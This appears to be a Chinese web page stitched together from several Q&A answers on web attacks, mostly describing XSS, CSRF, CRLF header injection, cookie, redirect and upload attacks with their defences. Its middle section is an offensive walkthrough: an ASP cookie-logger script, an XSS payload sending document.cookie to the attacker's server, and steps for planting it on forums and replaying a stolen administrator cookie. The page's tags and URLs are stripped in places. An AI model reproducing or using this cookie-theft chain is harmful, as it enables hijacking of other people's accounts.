网站受到了XSS攻击，有什么办法？
一.跨站脚本攻击(XSS)
跨站脚本攻击（XSS，Cross-site scripting）是最常见和基本的攻击WEB网站的方法。攻击者在网页上发布包含攻击性代码的数据。当浏览者看到此网页时，特定的脚本就会以浏览者用 户的身份和权限来执行。通过XSS可以比较容易地修改用户数据、窃取用户信息，以及造成其它类型的攻击，例如CSRF攻击
常见解决办法:确保输出到HTML页面的数据以HTML的方式被转义
出错的页面的漏洞也可能造成XSS攻击.比如页面/gift/giftList.htm?page=2找不到,出错页面直接把该url原样输出,如果攻击者在url后面加上攻击代码发给受害者,就有可能出现XSS攻击
二. 跨站请求伪造攻击（CSRF)
跨站请求伪造（CSRF，Cross-site request forgery）是另一种常见的攻击。攻击者通过各种方法伪造一个请求，模仿用户提交表单的行为，从而达到修改用户的数据，或者执行特定任务的目的。为了 假冒用户的身份，CSRF攻击常常和XSS攻击配合起来做，但也可以通过其它手段，例如诱使用户点击一个包含攻击的链接
解决的思路有:
1.采用POST请求,增加攻击的难度.用户点击一个链接就可以发起GET类型的请求。而POST请求相对比较难，攻击者往往需要借助javascript才能实现
2.对请求进行认证，确保该请求确实是用户本人填写表单并提交的，而不是第三者伪造的.具体可以在会话中增加token,确保看到信息和提交信息的是同一个人
三.Http Heads攻击
凡是用浏览器查看任何WEB网站，无论你的WEB网站采用何种技术和框架，都用到了HTTP协议.HTTP协议在Response header和content之间，有一个空行，即两组CRLF（0x0D 0A）字符。这个空行标志着headers的结束和content的开始。“聪明”的攻击者可以利用这一点。只要攻击者有办法将任意字符“注入”到 headers中，这种攻击就可以发生
以登陆为例:有这样一个url:
当登录成功以后，需要重定向回page参数所指定的页面。下面是重定向发生时的response headers.
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location:
假如把URL修改一下，变成这个样子：
那么重定向发生时的reponse会变成下面的样子：
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: ;CRLF
CRLF
scriptalert('hello')/script
这个页面可能会意外地执行隐藏在URL中的javascript。类似的情况不仅发生在重定向（Location header）上，也有可能发生在其它headers中，如Set-Cookie header。这种攻击如果成功的话，可以做很多事，例如：执行脚本、设置额外的cookie（CRLFSet-Cookie: evil=value）等。
避免这种攻击的方法，就是过滤所有的response headers，除去header中出现的非法字符，尤其是CRLF。
服务器一般会限制request headers的大小。例如Apache server默认限制request header为8K。如果超过8K，Aapche Server将会返回400 Bad Request响应：
对于大多数情况，8K是足够大的。假设应用程序把用户输入的某内容保存在cookie中,就有可能超过8K.攻击者把超过8k的header链接发给受害 者,就会被服务器拒绝访问.解决办法就是检查cookie的大小,限制新cookie的总大写，减少因header过大而产生的拒绝访问攻击
四.Cookie攻击
通过Java Script非常容易访问到当前网站的cookie。你可以打开任何网站，然后在浏览器地址栏中输 入：javascript:alert(doucment.cookie),立刻就可以看到当前站点的cookie（如果有的话）。攻击者可以利用这个特 性来取得你的关键信息。例如，和XSS攻击相配合，攻击者在你的浏览器上执行特定的Java Script脚本，取得你的cookie。假设这个网站仅依赖cookie来验证用户身份，那么攻击者就可以假冒你的身份来做一些事情。
现在多数浏览器都支持在cookie上打上HttpOnly的标记,凡有这个标志的cookie就无法通过Java Script来取得,如果能在关键cookie上打上这个标记，就会大大增强cookie的安全性
五.重定向攻击
一种常用的攻击手段是“钓鱼”。钓鱼攻击者，通常会发送给受害者一个合法链接，当链接被点击时，用户被导向一个似是而非的非法网站，从而达到骗取用户信 任、窃取用户资料的目的。为防止这种行为,我们必须对所有的重定向操作进行审核,以避免重定向到一个危险的地方.常见解决方案是白名单,将合法的要重定向 的url加到白名单中,非白名单上的域名重定向时拒之,第二种解决方案是重定向token,在合法的url上加上token,重定向时进行验证.
六.上传文件攻击
1.文件名攻击,上传的文件采用上传之前的文件名,可能造成:客户端和服务端字符码不兼容,导致文件名乱码问题;文件名包含脚本,从而造成攻击.
2.文件后缀攻击.上传的文件的后缀可能是exe可执行程序,js脚本等文件,这些程序可能被执行于受害者的客户端,甚至可能执行于服务器上.因此我们必须过滤文件名后缀,排除那些不被许可的文件名后缀.
3.文件内容攻击.IE6有一个很严重的问题 , 它不信任服务器所发送的content type，而是自动根据文件内容来识别文件的类型，并根据所识别的类型来显示或执行文件.如果上传一个gif文件,在文件末尾放一段js攻击脚本,就有可 能被执行.这种攻击,它的文件名和content type看起来都是合法的gif图片,然而其内容却包含脚本,这样的攻击无法用文件名过滤来排除，而是必须扫描其文件内容，才能识别。
网站要求cookie会被盗号吗
网站要求cookie会被盗号。cookie的存储和使用是存在风险的，一旦cookie被攻击者窃取，攻击者就可以冒充该用户的身份登录系统，且不需要网站的用户名和密码。
xss漏洞获取cookie怎么解决方案
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath('code.txt') //先构造一个路径，也就是取网站根目录，创造一个在根目录下的code.txt路径，保存在testfile中
msg = Request('msg') //获取提交过来的msg变量，也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件，放到你自己的网站服务器下。比如这里我们自己搭建的服务器为：。
XSS构造语句
scriptwindow.open(''+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中，不过这里最好是存储型xss，比如你找到了某个博客或者论坛什么的存在存储型XSS，你在里面发一篇帖子或者留上你的评论，内容就是上述语句，当其他用户或者管理员打开这个评论或者帖子链接后，就会触发，然后跳转到的页面，然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下：
1、在存在漏洞的论坛中发日志：
X
2、然后以管理远登陆，进入后页面会跳转，此时cookie就发送到你的服务器下的code.txt文件中了：
3、这是没有账户前的登陆界面：
4、打开firefox的Tamper Data插件，点击Start Tamper开始抓取信息，刷新登陆界面，然后会跳出对话框，点击Tamper按钮，在途中的cookie一栏中替换掉你抓取到的cookie，单击确定发送请求数据：
5、替换cookie后不用输用户名密码就顺利进入管理员账户了：
通过浏览器cookies入侵电脑有可能吗？
1 cookie是存放在客户端的数据。
2 cookie理论上是可以入侵电脑，必须满足以下条件。
a 如果某个网站的客户端cookie数据有关键数据
b 并且根据这些数据可以模拟访问服务，再并且对应的服务有bug或者提供了特权功能（对应服务没有对cookie有足够的安全检查机制，并有特权接口）。
c 而这些功能和bug又能让你获得主机登录和相关权限。
d 有以上可能就能入侵电脑。
3 实际上不可能，不会有任何一个网间服务会在cookie里存放关键信息。同时不对网间接口的cookie做安全检查，并且还是在提供特权接口的前提。
4 实际应用中，cookie只是一个摘要信息，所有关键数据实在后端通过摘要信息进行二次获取的过程。
5 所以实际应用中，cookie不是入侵电脑的途径。
6 但是一定有脑残的人，把cookie做得特别脑残，并且还能通过cookie信息访问脑残的特权接口。理论上就有入侵电脑的可能。
网络攻击的几种类型
网络攻击（Cyber
Attacks，也称赛博攻击）是指针对计算机信息系统、基础设施、计算机网络或个人计算机设备的，任何类型的进攻动作。对于 计算机 和计算机网络来说，破坏、揭露、修改、使软件或服务失去功能、在没有得到授权的情况下偷取或访问任何一计算机的数据，都会被视为于计算机和计算机网络中的攻击。
网络攻击的种类
1、主动攻击
主动攻击会导致某些数据流的篡改和虚假数据流的产生。这类攻击可分为篡改、伪造消息数据和终端（拒绝服务）。
（1）篡改消息
篡改消息是指一个合法消息的某些部分被改变、删除，消息被延迟或改变顺序，通常用以产生一个未授权的效果。如修改传输消息中的数据，将“允许甲执行操作”改为“允许乙执行操作”。
（2）伪造
伪造指的是某个实体（人或系统）发出含有其他实体身份信息的数据信息，假扮成其他实体，从而以欺骗方式获取一些合法用户的权利和特权。
（3）拒绝服务
拒绝服务即常说的DoS（Deny of Service），会导致对通讯设备正常使用或管理被无条件地中断。通常是对整个网络实施破坏，以达到降低性能、终端服务的目的。这种攻击也可能有一个特定的目标，如到某一特定目的地（如安全审计服务）的所有数据包都被阻止。
2、被动攻击
被动攻击中攻击者不对数据信息做任何修改，截取/窃听是指在未经用户同意和认可的情况下攻击者获得了信息或相关数据。通常包括窃听、流量分析、破解弱加密的数据流等攻击方式。
（1）流量分析
流量分析攻击方式适用于一些特殊场合，例如敏感信息都是保密的，攻击者虽然从截获的消息中无法的到消息的真实内容，但攻击者还能通过观察这些数据报的模式，分析确定出通信双方的位置、通信的次数及消息的长度，获知相关的敏感信息，这种攻击方式称为流量分析。
（2）窃听
窃听是最常用的手段。应用最广泛的局域网上的数据传送是基于广播方式进行的，这就使一台主机有可能受到本子网上传送的所有信息。而计算机的网卡工作在杂收模式时，它就可以将网络上传送的所有信息传送到上层，以供进一步分析。如果没有采取加密措施，通过协议分析，可以完全掌握通信的全部内容，窃听还可以用无限截获方式得到信息，通过高灵敏接受装置接收网络站点辐射的电磁波或网络连接设备辐射的电磁波，通过对电磁信号的分析恢复原数据信号从而获得网络信息。尽管有时数据信息不能通过电磁信号全部恢复，但可能得到极有价值的情报。
由于被动攻击不会对被攻击的信息做任何修改，留下痕迹很好，或者根本不留下痕迹，因而非常难以检测，所以抗击这类攻击的重点在于预防，具体措施包括虚拟专用网VPN，采用加密技术保护信息以及使用交换式网络设备等。被动攻击不易被发现，因而常常是主动攻击的前奏。
被动攻击虽然难以检测，但可采取措施有效地预防，而要有效地防止攻击是十分困难的，开销太大，抗击主动攻击的主要技术手段是检测，以及从攻击造成的破坏中及时地恢复。检测同时还具有某种威慑效应，在一定程度上也能起到防止攻击的作用。具体措施包括自动审计、入侵检测和完整性恢复等。
攻击的方法主要有：
[if !supportLists]· [endif]口令入侵
[if !supportLists]· [endif]特洛伊木马
[if !supportLists]· [endif]WWW欺骗
[if !supportLists]· [endif]电子邮件
[if !supportLists]· [endif]节点攻击
[if !supportLists]· [endif]网络监听
[if !supportLists]· [endif]黑客软件
[if !supportLists]· [endif]安全漏洞
[if !supportLists]· [endif]端口扫描
如何避免网络攻击呢，第一种是同源检测的方法
服务器根据 http 请求头中 origin 或者referer 信息来判断请 求是否为允许访问的站点，从而对请求进行过滤。当 origin 或者 referer 信息都不存在的 时候，直接阻止。这种方式的缺点是有些情况下referer 可以被伪造。还有就是我们这种方法 同时把搜索引擎的链接也给屏蔽了，所以一般网站会允许搜索引擎的页面请求，但是相应的页面 请求这种请求方式也可能被攻击者给利用。
第二种方法是使用 CSRF Token 来进行验证
服务器向用户返回一个随机数 Token ，当网站 再次发起请求时，在请求参数中加入服务器端返回的 token ，然后服务器对这个 token 进行 验证。这种方法解决了使用 cookie 单一验证方式时，可能会被冒用的问题，但是这种方法存在一个缺点就是，我们需要给网站中的所有请求都添加上这个 token，操作比较繁琐。还有一 个问题是一般不会只有一台网站服务器，如果我们的请求经过负载平衡转移到了其他的服务器，但是这个服务器的 session 中没有保留这个 token 的话，就没有办法验证了。这种情况我们可以通过改变 token 的构建方式来解决。
第三种方式使用双重 Cookie 验证的办法
服务器在用户访问网站页面时，向请求域名注入一个 Cookie，内容为随机字符串，然后当用户再次向服务器发送请求的时候，从cookie 中取出 这个字符串，添加到 URL 参数中，然后服务器通过对 cookie 中的数据和参数中的数据进行比 较，来进行验证。使用这种方式是利用了攻击者只能利用 cookie，但是不能访问获取 cookie 的特点。并且这种方法比 CSRF Token 的方法更加方便，并且不涉及到分布式访问的问题。这 种方法的缺点是如果网站存在 XSS 漏洞的，那么这种方式会失效。同时这种方式不能做到子域 名的隔离。
第四种方式Samesite Cookie
是使用在设置 cookie 属性的时候设置 Samesite限制 cookie 不能作为被第三 方使用，从而可以避免被攻击者利用。Samesite 一共有两种模式，一种是严格模式，在严格模式下 cookie 在任何情况下都不可能作为第三方 Cookie 使用，在宽松模式下，cookie 可以 被请求是 GET 请求，且会发生页面跳转的请求所使用。
Samesite Cookie 表示同站 cookie，避免 cookie 被第三方所利用。将 Samesite 设为 strict ，这种称为严格模式，表示这个 cookie 在任何情况下都不可能作 为第三方 cookie。将 Samesite 设为 Lax ，这种模式称为宽松模式，如果这个请求是个 GET 请求，并且这个请求改变了当前页面或者打开了新的页面，那么这个 cookie 可以作为第三方 cookie，其余情 况下都不能作为第三方 cookie。
使用这种方法的缺点是，因为它不支持子域，所以子域没有办法与主域共享登录信息，每次转入子域的网站，都回重新登录。还有一个问题就是它的兼容性不够好。
0条大神的评论